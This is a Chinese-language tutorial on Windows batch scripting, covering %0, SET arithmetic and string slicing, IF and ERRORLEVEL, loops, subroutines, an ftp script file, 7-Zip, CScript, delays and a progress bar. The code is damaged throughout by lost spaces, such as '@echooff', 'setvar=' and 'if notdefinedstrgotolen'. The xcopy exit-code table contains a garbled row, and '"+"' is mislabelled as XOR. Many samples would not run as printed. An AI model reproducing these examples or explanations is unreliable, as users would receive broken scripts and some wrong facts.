然後輸入 test.bat 我是第一個參數 我是第二個參數 我是第三個參數 我是第四個參數
可以看到他一次把全部參數都顯示出來了
好現在開始講那個比較特殊的%0%0 這個不是傳回參數的值了,他有兩層意思!
第一層意思:傳回批處理所在絕對路徑
例子:
@echooff
echo%0
pause
儲存為test.BAT放在桌面運作,會顯示如下結果
"C:\Documentsand Settings\Administrator\桌面\test.bat"
他把目前批處理執行的所在路經列印出來了,這就是傳回批處理所在絕對路徑的意思
第二層意思:無限循環執行BAT
例子:
@echooff
net user
%0
儲存為BAT執行,他就會無限循環執行net user這條指令,直到你手動停止.
龍卷風補充: 其實%0就是第一參數%1前面那個參數, 當然就是批處理檔案名 ( 包括路徑)。
以上就是批進行中的一些系統變量,另外還有一些變量,他們也表示一些功能,
FOR指令中的那些就是,FOR變量已經說過,就不講了.
二、自定義變量
故名思意,自定義變量就是由我們來給他賦予值的變量要使用自定義變量就得使用set指令了,看例子.
@echooff
setvar=我是值
echo%var%
pause
儲存為BAT執行,我們會看到CMD 裡傳回一個 "我是值"
var為變量名,=号右變的是要給變量的值
這就是最簡單的一種設定變量的方法了
如果我們想讓使用者手工輸入變量的值,而不是在代碼裡指定,可以用用 set指令的 /p 參數。例子:
@echooff
set /p var=請輸入變量的值
echo%var%
pause
var變量名 =号右邊的是提示語,不是變量的值
變量的值由我們運作後自己用鍵盤輸入!
好了批處理的變量先介紹到這,關于 set指令,下次再寫個專門的文章吧。
第五章 set指令詳解
一、用set指令設定自定義變量
二、用set指令進行簡單計算
三、用set指令進行字元串處理
1、字元串替換
2、字元串截取
一、用set指令設定自定義變量
顯示、設定或删除 cmd.exe 環境變量。
SET [variable=[string]]
variable 指定環境變量名。
string 指定要指派給變量的一系列字元串。
要顯示目前環境變量,鍵入不帶參數的 SET。
SET 指令不允許變量名含有等号。
例子:
@echooff
setvar=我是值
echo%var%
pause
請看 setvar=我是值 ,這就是 BAT直接在批進行中設定變量的方法!
set 是指令 var是變量名 =号右邊的"我是值"是變量的值
在批進行中我們要引用這個變就把var變量名用兩個%(百分号)擴起來,如%var%
SET還可以提供一個互動界面,讓使用者自己輸入變量的值,然後我們在來根據這個值來做相應
操作,現在我就來說說 SET的這種文法,隻需要加一個"/P"參數就可以了!
SET /P variable=[promptString]
例子:
@echo off
set /p var=請輸入變量的值:
echo 您輸入了 %var% ~_~
pause
set /p 是指令文法 var是變量名 =号右邊的"請輸入變量的值: ",這個是提示語,不是變量的值了!
運作後,我們在提示語後面直接輸入 1,就會顯示一行您輸入了 1 ~_~
好了,先回顧到這,現在講 SET其他功能
使用 set /?檢視 SET的幫助我們發現 SET除了我上面講的
SET [variable=[string]]
SET /P variable=[promptString]
這兩種文法外,還有如下幾種文法:
SET /A expression
環境變量替換已如下增強:
%PA TH:str1=str2%
%PA TH:~10,5%
%PA TH:~-10%
%PA TH:~0,-2%
這機種文法有什麼用處呢?下面我們來一個個講解他們!
二、用 set指令進行簡單計算
文法: SET /A expression
/A 指令行開關指定等号右邊的字元串為被評估的數字表達式。該表達式
評估器很簡單并以遞減的優先權順序支援下列操作:
() -分組
! ~ - -一進制運算符
* / % -算數運算符
+ - -算數運算符
<< >> -二進制邏輯移位
& -二進制按位“ 與”
^ -二進制按位“ 異”
| -二進制按位“ 或”
= *= /= %= += -= -算數指派
&= ^= |= <<= >>= -二進制運算指派
, -表達式分隔符上面這些是系統幫助裡的内容,看着是不是有點暈,沒關系我來簡單解釋一下:
set的/A參數就是讓SET可以支援數學符号進行加減等一些數學運算!
現在開始舉例子介紹這些數學符号的用法:
例:
@echooff
set/pinput=請輸入計算表達式:
set/a var=%input%
echo 計算結果: %input%=%var%
pause
上面的例子是龍卷風設計的,很好用喲,請看下面幾個運算過程:
注意: DOS計算隻能精确到整數
請輸入計算表達式: 1+9+20+30-10
計算結果: 1+9+20+30-10=50
請按任意鍵繼續.. .
請輸入計算表達式: 10/3
計算結果: 10/3=3 #DOS計算精确到整數,小數舍了。
請按任意鍵繼續.. .
請輸入計算表達式: -100+62
計算結果: -100+62=-38
請按任意鍵繼續.. .
請輸入計算表達式: 100%3 #求餘數
計算結果: 100%3=1
請按任意鍵繼續.. .
請輸入計算表達式: (25+75)*2/(15+5)
計算結果: (25+75)*2/(15+5)=10
請按任意鍵繼續.. .
請輸入計算表達式: 1234567890*9876543210
無效數字。數字精确度限為 32 位。
計算結果: 1234567890*9876543210=
請按任意鍵繼續.. .
注意:上面的計算過程顯示, DOS計算隻能精确到32位,這個32位是指二進制32位,
其中最高位為符号位( 0為正, 1為負),低位31位為數值。
31 個 1 換成十進制為 2147483647,是以 DOS 計算的有效值範圍是-2147483647 至2147483647,超出該數值範圍時計算出錯,
請看下面的計算過程:請輸入計算表達式: 2147483647-1 #最大值減1,值有效計算結果: 2147483647-1=2147483646
請按任意鍵繼續.. .
運作set /aa=1+1,b=2+1,c=3+1後會顯示一個 4,但我們用
echo%a%%b%%c%後看結果,會發現其他數學運算也有效果!,這就是"逗"号的作用!
有時候我們需要直接在原變量進行加減操作就可以用這種文法
set/a var+=1 這樣的文法對應原始文法就是 set/avar =%var%+1
都是一樣的結果,在原變量的值上在進行數學運算,不過這樣寫簡單一點
再來一個:
set/a var*=2
其他都這麼用,隻要幫助裡有這個文法!
另外還有一些用邏輯或取餘操作符,這些符号,按照上面的使用方法會報錯的
比如我們在CMD 裡輸入set/a var=1& 1"與運算",他并不會顯示為 1,而是報錯,
為什麼?對于這樣的"邏輯或取餘操作符",我們需要把他們用雙引号引起來,也可以用轉義字元^,
看例子
set/a var=1"&" 1 這樣結果就顯示出來了,其他邏輯或取餘操作符用法
set/a var=1"+" 1 異運算
set/a var=1"%" 1 取模運算
set/a var=3"<<" 2 左移位運算, 3的二進制為11, 左移2位為1100, 換成十進制就是12,
自行驗證
set/a var=4">>" 2右移位運算, 4的二進制為 100,右移動2位為1,結果為 1
還有幾個數學不太行,搞不清楚了....不列出來了,
龍卷風補充:凡是按位計算均需換算成二進制,下面行中的符号均針對二進制
這些符号也可以用&=^= |=<<= >>= 這樣的簡單用法如
set/a var"&="1 等于 set/avar =%var%"&" 1 注意引号
思考題:求2的n次方
答案:
@echooff
set/pn=請輸入 2的幾次方:
set/a num=1^<^<n
echo%num%
pause
三、用set指令進行字元串處理
1、字元串替換
好了,符号說到這,現在說%PA TH:str1=str2%
上面文法的意思就是:将字元串變量%PA TH%中的 str1替換為 str2這個是替換變量值的内容,看例子
@echooff
seta= bbs.verybat. cn
echo 替換前的值: "%a%"
setvar=%a:=%
echo 替換後的值: "%var%"
pause
運作顯示:(龍卷風添加)
替換前的值: " bbs.verybat.cn"
替換後的值: "bbs.verybat.cn"
對比一下,我們發現他把變量%a%的空格給替換掉了,從這個例子,我們就可以發現
%PA TH:str1=str2%這個操作就是把變量%PA TH%的裡的str1全部用str2替換
比如我們把上面的例子改成這樣
@echooff
seta=bbs.verybat.cn
echo 替換前的值: "%a%"
setvar=%a:.=傷腦筋%
echo 替換後的值: "%var%"
pause
運作顯示:
替換前的值: "bbs.verybat.cn"
替換後的值: "bbs傷腦筋 verybat傷腦筋cn"
解釋set var=%a:.=傷腦筋%
set是指令 var是變量名 字 a是要進行字元替換的變量的值,"."為要替換的值,
"傷腦筋"為替換後的值!
執行後就會把變量%a%裡面的"."全部替換為"傷腦筋"
這就是set的替換字元的很好的功能! 替換功能先講到這,下面将字元串截取功能
2、字元串截取
**********************************************
截取功能統一文法格式為: %a:~[m[,n]]%
**********************************************
方括号表示可選, %為變量辨別符, a為變量名, 不可少, 冒号用于分隔變量名和說明部分,
符号~可以簡單了解為“ 偏移” 即可, m為偏移量(
預設為0), n為截取長度(預設為全部)
%PA TH:~10,5% 這個什麼意思,看例子:截取功能例子1:
@echooff
seta=bbs.verybat.cn
setvar=%a:~1,2%
echo%var%
pause
執行後,我們會發現隻顯示了"bs"兩個字母,我們的變量%a%的值不是為 bbs.verybat.cn嗎?
怎麼隻顯示了第2個字母和第3個字母"bs",分析一結果我們就可以很容易看出
%PA TH:~10,5%就是顯示變量PATH裡從11位(偏移量 10)開始的5個字元!
分析set var=%a:~1,2%
set是指令, var是變量值, a要進行字元操作的變量, "1"從變量"a"第幾位開始顯示, "2"
表示顯示幾位。
合起來就是把變量a的值從第 2位(偏移量 1)開始,把 2個字元賦予給變量 var
這樣應該明白了吧~
其他兩種文法
%PA TH:~-10%
%PA TH:~0,-2%
他們也是顯示指定變量指定幾位的值的意思
%PA TH:~-10% 看例子
截取功能例子2:
@echooff
seta=bbs.verybat.cn
setvar=%a:~-3%
echo%var%
pause
運作結果: .cn
這個就是把變量a倒數 3位的值給變量 VAR
當然我們也可以改成這樣
截取功能例子3:
@echooff
seta=bbs.verybat.cn
setvar=%a:~3%
echo%var%
pause
運作顯示: .verybat.cn
這個就是把變量a的從第 3位開始後面全部的值給變量 VAR
%PA TH:~0,-2% 例子截取功能例子4:
@echooff
seta=bbs.verybat.cn
setvar=%a:~0,-3%
echo%var%
pause
執行後,我們發現顯示的是"bbs.verybat",少了".cn"
從結果分析,很容易分析出,這是把變量a的值從 0位開始,
到倒數第三位之間的值全部賦予給var
如果改成這樣
截取功能例子5:
@echooff
seta=bbs.verybat.cn
setvar=%a:~2,-3%
echo%var%
pause
運作顯示: s.verybat
那麼他就是顯示從第3位(偏移量2)開始減去倒數三位字元的值,并賦予給變量var
講得好,例子就是說明問題,為便于記憶,龍卷風小節如下:
a=bbs.verybat.cn
%a:~1,2% =“ bs” 偏移量1,從第二位開始向右取 2位
%a:~-3% =“ .cn” 偏移量負 3,即倒數3位(也可了解為留下右邊3位),右取全部
%a:~3% =“ .verybat.cn” 偏移量 3(也可了解為去掉左邊3位),右取全部
%a:~0,-3% =“ bbs.verybat” 偏移量 0,右取長度至負3,即倒數 3位
%a:~2,-3% =“ s.verybat” 偏移量 2,右取長度至負3,即倒數 3位
**********************************************
是以,截取功能統一文法格式為: %a:~[m[,n]]%
**********************************************
方括号表示可選, %a%為變量名,不可少,冒号用于分隔變量名和說明部分,符号~可以
簡單了解為“ 偏移” 即可, m為偏移量(預設為 0), n
為截取長度(預設為全部)
上面所述用法其實相當于vbs函數 mid、 left、 right
%a:~0,n% 相當于函數 left(a,n) 取左邊n位
%a:~-m% 相當于函數right( a,m) 取右邊 m位
%a:~m,n% 相當于函數 mid(a,m+1,n) 從m+1位開始取n位
%a:~m,-n% 相當于函數 mid(a,m+1,len(a)-m-n)
%a:~m % 相當于函數 mid(a,m+1,len(a)-m) 或者 right(a,len(a)-m)
思考題目:輸入任意字元串,求字元串的長度參考答案:
@echooff
set/pstr=請輸入任意長度的字元串:
echo 你輸入了字元串:"%str%"
if notdefined str(pause&goto:eof)
setnum=0
:len
set/anum+=1
setstr=%str:~0,-1%
if definedstrgotolen
echo 字元串長度為: %num%
pause
好了set的一些用法,就介紹到這了,希望對各位有所幫助,時間不早睡覺Zz....
第六章 if 指令講解
第一種用法:IF [NOT] ERRORLEVEL number command
第二種用法:IF [NOT] string1==string2 command
第三種用法:IF [NOT] EXIST filename command
第四種用法:IF增強的用法
在CMD使用IF/?打開IF的系統幫助(自己看我就不全部列出來了),我們會發現IF有3種基本的用法!
執行批處理程式中的條件處理。
IF[NOT]ERRORLEVELnumber command
IF[NOT]string1==string2command
IF[NOT]EXISTfilename command
NOT 指定隻有條件為 false 的情況下, WindowsXP 才應該執行該指令。
ERRORLEVELnumber 如果最後運作的程式傳回一個等于或大于
指定數字的退出編碼,指定條件為 true。
string1==string2 如果指定的文字字元串比對,指定條件為 true。
EXISTfilename 如果指定的檔案名存在,指定條件為 true。command 如果符合條件,指定要執行的指令。
如果指定的條件為 FALSE,指令後可跟一個執行 ELSE關鍵字後的指令的 ELSE 指令。
ELSE 子句必須在 IF 之後出現在同一行上。例如:
IF EXIST filename (
del filename
) ELSE (
echofilename missing
)
第一種用法: IF [NOT] ERRORLEVEL number command
這個用法的基本做用是判斷上一條指令執行結果的代碼,以決定下一個步驟.
一般上一條指令的執行結果代碼隻有兩結果,"成功"用0表示 "失敗"用 1表示.
舉個例子:
@echooff
net user
IF %ERRORLEVEL% ==0 echonet user 執行成功了!
pause
這是個簡單判斷上條指令是否執行成功.
細心的朋友可能會發現,這個用法和幫助裡的用法不太一樣,按照幫助裡的寫法"IF
%ERRORLEVEL% ==0 echonetuser 執行成功了! "這一句
代碼應該寫成:IF ERRORLEVEL 0echonet user 執行成功了!
那為什麼我要寫成這樣呢?各位自己把代碼改掉執行後,就會發現錯誤了!
用這種文法,不管你的上面的指令是否執行成功,他都會認為指令成功了,不知道是 BUG還是本人了解錯誤...
補充:這不是 bug,而是 if errorlevel 語句的特點:當使用 if errorlevel 0 …… 的句式時,
它的含義是:如果錯誤碼的值大于或等于0的時候,将執行某個操作;
當使用 if %errorlevel%==0 …… 的句式時,它的含義是:如果錯誤碼的值等于0的時候,将執行某操作。
因為這兩種句式含義的差别,如果使用前一種句式的時候,錯誤碼語句的排列順序是從大到小排列
%ERRORLEVEL% 這是個系統變量,傳回上條指令的執行結果代碼! "成功"用0表示 "失敗
"用 1表示. 當然還有其他參數,用的時候基本就這兩數字.
一般上一條指令的執行結果代碼隻有兩結果,"成功"用0表示 "失敗"用 1表示
這隻是一般的情況, 實際上, errorlevel傳回值可以在 0~255之間,
比如, xcopy預設的errorlevel值就有5個,分别表示5種執行狀态:退出碼 說明
0 檔案複制沒有錯誤。
1 if errorlevel2 echo。
2 使用者按 CTRL+C 終止了 xcopy。
4 出現了初始化錯誤。沒有足夠的記憶體或磁盤空間, 或指令行上輸入了無效的驅動器名稱或文法。
5 出現了磁盤寫入錯誤。
要判斷上面xcopy指令的 5種退出情況,應寫成:
if errorlevel 5 echo 出現了磁盤寫入錯誤
if errorlevel 4 echo 出現了初始化錯誤
if errorlevel 2 echo 使用者按 CTRL+C 終止了 xcopy
if errorlevel 1 echo if errorlevel 2 echo
if errorlevel 0 echo 檔案複制沒有錯誤。
才能正确執行。
補充完畢。
再舉幾個例子給新手了解
@echooff
net usertest
IF%ERRORLEVEL% ==1 echonet user 執行失敗了!
pause
這個是判斷上一條指令是否執行失敗的
@echooff
set/pvar=随便輸入個指令:
%var%
if %ERRORLEVEL% ==0 gotoyes
gotono
:yes
echo!var! 執行成功了
pause
exit
:no
echo 基本上執行失敗了..
pause這個是根據你輸入的指令,自動判斷是成功還是失敗了!
在來一個簡化版的
@echooff
set/pvar=随便輸入個指令:
%var%
if %ERRORLEVEL% ==0 (echo%var%執行成功了) ELSE echo%var%執行失敗了!
pause
else後面寫上執行失敗後的操作!
當然我門還可以把if else這樣的語句分成幾行寫出來,使他看上去好看點...
@echooff
set/pvar=随便輸入個指令:
%var%
if %ERRORLEVEL% ==0 (
echo!var! 執行成功了
)ELSE(
echo 基本上執行失敗了..
)
pause
這裡介紹的兩種簡寫對 IF的三種文法都可以套用,不單單是在 IF [NOT] ERRORLEVEL numbercommand 這種法上才能用
第二種用法: IF[NOT]string1==string2 command
這個呢就是用來比較變量或者字元的值是不是相等的.
例子
@echooff
set/pvar=請輸入第一個比較字元:
set/pvar2=請輸入第二個比較字元:
if %var%==%var2%(echo 我們相等)ELSE echo 我們不相等
pause
上面這個例子可以判斷你輸入的值是不是相等,但是你如果輸入相同的字元,但是如果其中一個後面打了一個空格,
這個例子還是會認為相等,如何讓有空格的輸入不相等呢?我們在比較字元上加個雙引号就可以了.
@echooffset/pvar=請輸入第一個比較字元:
set/pvar2=請輸入第二個比較字元(多輸入個空格試試):
if"%var%"=="%var2%"(echo 我們相等)ELSEecho 我們不相等
pause
第三種用法: IF[NOT]EXISTfilenamecommand
這個就是判斷某個檔案或者檔案夾是否存在的文法
例子
@echooff
ifexist"c:\test"(echo 存在檔案)ELSEecho 不存在檔案
pause
判斷的檔案路徑加引号是為了防止路徑有空格,如果路徑有空格加個雙引号就不會出現判斷出錯了!
這個文法沒什麼太多的用法,基本就這樣了,就不多介紹了.
另外我們看到每條IF用法後都有個[NOT]語句,這啥意思?其他加上他的話,就表示先判斷我們的條件不成立時,
沒加他預設是先判斷條件成立時,比如上面這個例子
@echooff
ifnotexist"c:\test"(echo 存在檔案)ELSEecho 不存在檔案
pause
加個NOT,執行後有什麼結果,如果你的C槽下根本就沒c:\test,他還是會顯示"存在檔案",這就表示了加了NOT就
會先判斷條件失敗!懂了吧,上面例子改成這樣就正确了!
@echooff
ifnotexist"c:\test"(echo 不存在檔案)ELSEecho 存在檔案
pause
第四種用法: IF增強的用法
IF[/I]string1compare-opstring2command
IFCMDEXTVERSIONnumbercommand
IFDEFINEDvariablecommand
後面兩個用法,我不做介紹,因為他們和上面的用法表示的意義基本一樣,隻簡單說說 IF[/I]
string1compare-opstring2command這個語句
在判斷字元時不區分字元的大小寫。CMDEXTVERSION 條件的作用跟 ERRORLEVEL 的一樣,
除了它是在跟與指令擴充名有關聯的内部版本号比較。第一個版本是 1。
每次對指令擴充名有相當大的增強時,版本号會增加一個。
指令擴充名被停用時, CMDEXTVERSION 條件不是真的。
如果已定義環境變量, DEFINED 條件的作用跟 EXISTS 的一樣,
除了它取得一個環境變量,傳回的結果是 true。
@echooff
if a ==A (echo 我們相等)ELSEecho 我們不相等
pause
執行後會顯示:我們不相等
@echooff
if /i a ==A(echo 我們相等) ELSE echo 我們不相等
pause
加上/I不區分大小寫就相等了!
最後面還有一些用來判斷數字的符号
EQU - 等于
NEQ - 不等于
LSS - 小于
LEQ - 小于或等于
GTR- 大于
GEQ - 大于或等于
我就舉一個例子,大家都懂數學...不講多了
@echooff
set/pvar=請輸入一個數字:
if %var%LEQ 4(echo 我小于等于4)ELSEecho 我不小于等于4
pause
第七章 DOS程式設計進階技巧
一、界面設計
二、if…else…條件語句
三、循環語句
四、子程式
五、用ftp指令實作自動下載下傳
六、用7-ZIP實作指令行壓縮和解壓功能
七、調用VBScript程式
八、将批處理轉化為可執行檔案
九、時間延遲
1、利用ping指令延時
2、利用for指令延時
3、利用vbs延遲函數,精确度毫秒,誤差1000毫秒内
4、僅用批處理指令實作任意時間延遲,精确度10毫秒,誤差50毫秒内
十、模拟進度條
十一、特殊字元的輸入及應用
十二、随機數(%random%)的應用技巧
十三、變量嵌套 與 指令嵌套
一、互動界面設計沒啥說的,看看高手設計的菜單界面吧:
@echooff
cls
title 終極多功能修複
:menu
cls
color0A
echo.
echo ==============================
echo 請選擇要進行的操作,然後按回車
echo ==============================
echo.
echo 1.網絡修複及上網相關設定,修複IE,自定義屏蔽網站
echo.
echo 2.病毒專殺工具,端口關閉工具,關閉自動播放
echo.
echo 3.清除所有多餘的自啟動項目,修複系統錯誤
echo.
echo 4.清理系統垃圾,提高啟動速度
echo.
echo Q.退出
echo.
echo.
:cho
setchoice=
set/pchoice= 請選擇:
IFNOT"%choice%"=="" SETchoice=%choice:~0,1%
if /i"%choice%"=="1" goto ip
if /i"%choice%"=="2" gotosetsave
if /i"%choice%"=="3" gotokaiji
if /i"%choice%"=="4" gotoclean
if /i"%choice%"=="Q" gotoendd
echo 選擇無效,請重新輸入
echo.
gotocho
隻要學完本教程前面的章節,上面的程式應該能看懂了。
二、 if…else…條件語句
前面已經談到, DOS條件語句主要有以下形式
IF[NOT]ERRORLEVELnumber command
IF[NOT]string1==string2command
IF[NOT]EXISTfilename command
增強用法: IF[/I]string1 compare-opstring2command增強用法中加上/I就不區分大小寫了!
增強用法中還有一些用來判斷數字的符号:
EQU - 等于
NEQ - 不等于
LSS - 小于
LEQ- 小于或等于
GTR- 大于
GEQ - 大于或等于
上面的 command指令都可以用小括号來使用多條指令的組合,包括 else子句,組合指令中
可以嵌套使用條件或循環指令。
例如:
IFEXISTfilename(
del filename
)ELSE(
echofilenamemissing
)
也可寫成:
if existfilename (del filename) else (echofilename missing)
但這種寫法不适合指令太多或嵌套指令的使用。
三、循環語句
1、指定次數循環
FOR/L%variableIN (start,step,end)DOcommand [command-parameters]
組合指令:
FOR/L%variableIN (start,step,end)DO(
Command1
Command2
……
)2
、對某集合執行循環語句。
FOR%%variable IN(set)DOcommand [command-parameters]
%%variable 指定一個單一字母可替換的參數。
(set) 指定一個或一組檔案。可以使用通配符。
command 對每個檔案執行的指令,可用小括号使用多條指令組合。FOR/R[[drive:]path] %variable IN(set)DOcommand [command-parameters]
檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的
FOR 語句。如果在 /R 後沒有指定目錄,則使用目前
目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。
同前面一樣, command可以用括号來組合:
FOR/R[[drive:]path] %variable IN(set)DO(
Command1
Command2
……
commandn
)
3、條件循環
利用goto語句和條件判斷, dos可以實作條件循環,很簡單啦,看例子:
@echooff
setvar=0
rem************循環開始了
:continue
set/avar+=1
echo 第%var%此循環
if %var%lss100 gotocontinue
rem************循環結束了
echo 循環執行完畢
pause
四、子程式
在批處理程式中可以調用外部可運作程式, 比如exe程式, 也可調用其他批處理程式, 這些
也可以看作子程式,但是不夠友善,如果被調用的程
序很多,就顯得不夠簡明了,很繁瑣。
在windowsXP中, 批處理可以調用本程式中的一個程式段, 相當于子程式, 這些子程式
一般放在主程式後面。
子程式調用格式:
CALL:label arguments
子程式文法:
:label
command1
command2...
commandn
goto:eof
傳至子程式的參數在 call語句中指定,在子程式中用%1、 %2至%9的形式調用,而子程式
傳回主程式的資料隻需在調用結束後直接引用就可以了
,當然也可以指定傳回變量,請看下面的例子。
子程式例1:
@echooff
call :sub return 你好
echo 子程式傳回值: %return%
pause
:sub
set%1=%2
goto:eof
運作結果:你好
子程式例2:設計一個求多個整數相加的子程式
@echooff
setsum=0
call :sub sum10 2035
echo 資料求和結果: %sum%
pause
:sub
rem 參數1為傳回變量名稱
set/a %1=%1+%2
shift/2
if not"%2"=="" goto sub
goto:eof
運作結果: 65
在win98系統中, 不支援上面這種标号調用, 須将子程式單獨儲存為一個批處理程式, 然後
調用。
五、用ftp指令實作自動下載下傳
ftp是常用的下載下傳工具, ftp界面中有 40多個常用指令,自己學習了,不介紹了。這裡介紹
如何用dos指令行調用 ftp指令,實作ftp自動登入,并上傳下載下傳,并自動退出ftp程式。
其實可以将ftp指令組合儲存為一個文本檔案,然後用以下指令調用即可。
ftp -n-s:[[drive:]path]filename
上面的filename 為ftp指令檔案,包括登入IP位址,使用者名、密碼、操作指令等
例:
open90.52.8.3 #打開ip
useriware #使用者為iware
password8848 #密碼
bin #二進制傳輸模式
prompt
cdtmp1 #切換至iware使用者下的tmp1目錄
pwd
lcdd:\download #本地目錄
mget* #下載下傳tmp1目錄下的所有檔案
bye #退出ftp
六、用7-ZIP實作指令行壓縮和解壓功能
文法格式:(詳細情況見7-zip 幫助檔案,看得頭暈可以跳過,用到再學)
7z<command>[<switch>...]<base_archive_name>[<arguments>...]
7z.exe的每個指令都有不同的參數<switch>,請看幫助檔案
<base_archive_name>為壓縮包名稱
<arguments>為檔案名稱,支援通配符或檔案清單
其中, 7z是至指令行壓縮解壓程式7z.exe, <command>是7z.exe包含的指令,列舉如下:
a: Addsfilestoarchive. 添加至壓縮包
a指令可用參數:
-i(Include)
-m(Method)
-p(SetPassword)
-r(Recurse)
-sfx(createSFX)
-si(useStdIn)
-so(useStdOut)
-ssw(Compresssharedfiles)
-t(Typeofarchive)
-u(Update)
-v(Volumes)
-w(WorkingDir)
-x(Exclude)b: Benchmark
d: Deletes files fromarchive. 從壓縮包中删除檔案
d指令可用參數:
-i (Include)
-m(Method)
-p(SetPassword)
-r(Recurse)
-u(Update)
-w(Working Dir)
-x(Exclude)
e: Extract解壓檔案至目前目錄或指定目錄
e指令可用參數:
-ai (Include archives)
-an(Disable parsing ofarchive_name)
-ao(Overwrite mode)
-ax(Exclude archives)
-i (Include)
-o(SetOutput Directory)
-p(SetPassword)
-r(Recurse)
-so(useStdOut)
-x(Exclude)
-y(AssumeYes onall queries)
l: Lists contents of archive.
t: Test
u: Update
x: eXtractwith full paths用檔案的完整路徑解壓至目前目錄或指定目錄
x指令可用參數:
-ai (Include archives)
-an(Disable parsing ofarchive_name)
-ao(Overwrite mode)
-ax(Exclude archives)
-i (Include)
-o(SetOutput Directory)
-p(SetPassword)
-r(Recurse)
-so(useStdOut)
-x(Exclude)
-y(AssumeYes onall queries)
七、調用VBScript程式
使用 Windows 腳本宿主, 可以在指令提示符下運作腳本。 CScript.exe 提供了用于設定腳本
屬性的指令行開關。
用法: CScript 腳本名稱 [腳本選項...][腳本參數...]
選項:
//B 批模式:不顯示腳本錯誤及提示資訊
//D 啟用 ActiveDebugging
//E:engine 使用執行腳本的引擎
//H:CScript 将預設的腳本宿主改為 CScript.exe
//H:WScript 将預設的腳本宿主改為 WScript.exe (預設)
//I 互動模式(預設,與 //B 相對)
//Job:xxxx 執行一個 WSF 工作
//Logo 顯示徽标(預設)
//Nologo 不顯示徽标:執行時不顯示标志
//S 為該使用者儲存目前指令行選項
//T:nn 逾時設定秒:允許腳本運作的最長時間
//X 在調試器中執行腳本
//U 用 Unicode 表示來自控制台的重定向 I/O
“腳本名稱 ” 是帶有擴充名和必需的路徑資訊的腳本檔案名稱, 如
d:\admin\vbscripts\chart.vbs。
“ 腳本選項和參數” 将傳遞給腳本。腳本參數前面有一個斜杠 (/)。每個參數都是可選的;
但不能在未指定腳本名稱的情況下指定腳本選項。
如果未指定參數,則 CScript 将顯示 CScript 文法和有效的宿主參數。
八、将批處理轉化為可執行檔案:
由于批處理檔案是一種文本檔案, 任何人都可以對其進行随便編輯, 不小心就會把裡面的命
令破壞掉,是以如果将其轉換成.com格式的可執行
檔案,不僅執行效率會大大提高,而且不會破壞原來的功能,更能将優先級提到最高。
Bat2Com就可以完成這個轉換工作。
小知識:在DOS環境下,可執行檔案的優先級由高到低依次為.com>.exe>.bat>.cmd,即如
果在同一目錄下存在檔案名相同的這四類檔案,當隻
鍵入檔案名時, DOS執行的是name.com, 如果需要執行其他三個檔案, 則必須指定檔案的
全名,如name.bat。
這是一個隻有5.43K大小的免費綠色工具,可以運作在純DOS或DOS視窗的指令行中,用法: Bat2Com
FileName, 這樣就會在同一目錄下生成一個名為 FileNme.com的可執行檔案, 執行的效果和
原來的.bat檔案一樣。
九、時間延遲
本條引用[英雄]教程
什麼是時間延遲?顧名思義,就是執行一條指令後延遲一段時間再進行下一條指令。
1、利用ping 指令延時
例:
@echooff
echo 延時前!
ping /n 3127.0.0.1>nul
echo 延時後!
pause
解說: 用到了 ping指令的“ /n”參數, 表示要發送多少次請求到指定的ip。 本例中要發送 3
次請求到本機的ip
( 127.0.0.1)。 127.0.0.1可簡寫為 127.1。“ >nul” 就是屏蔽掉 ping指令所顯示的内容。
2、利用for指令延時
例:
@echooff
echo 延時前!
for/l %%iin (1,1,5000)doecho%%i>nul
echo 延時後!
pause
解說:原理很簡單,就是利用一個計次循環并屏蔽它所顯示的内容來達到延時的目的。
十、模拟進度條
下面給出一個模拟進度條的程式。如果将它運用在你自己的程式中,可以使你的程式更漂亮。
@echooff
mode concols=113 lines=15 &color 9f
cls
echo.
echo 程式正在初始化...
echo.
echo ┌───────────────────────────────────
───┐
set/p= ■<nul
for/L%%iin (11 38)do set/pa=■<nul&ping /n 1127.0.0.1>nul
echo 100%%
echo └───────────────────────────────────
───┘pause
解說:“ set/pa=■<nul” 的意思是: 隻顯示提示資訊“ ■”且不換行, 也不需手工輸入任何
資訊,這樣可以使每個“■” 在同一行逐個輸出。“ ping /n 0127.1>nul” 是輸出每個“■” 的時間間隔,即每隔多少時間輸出一個“■".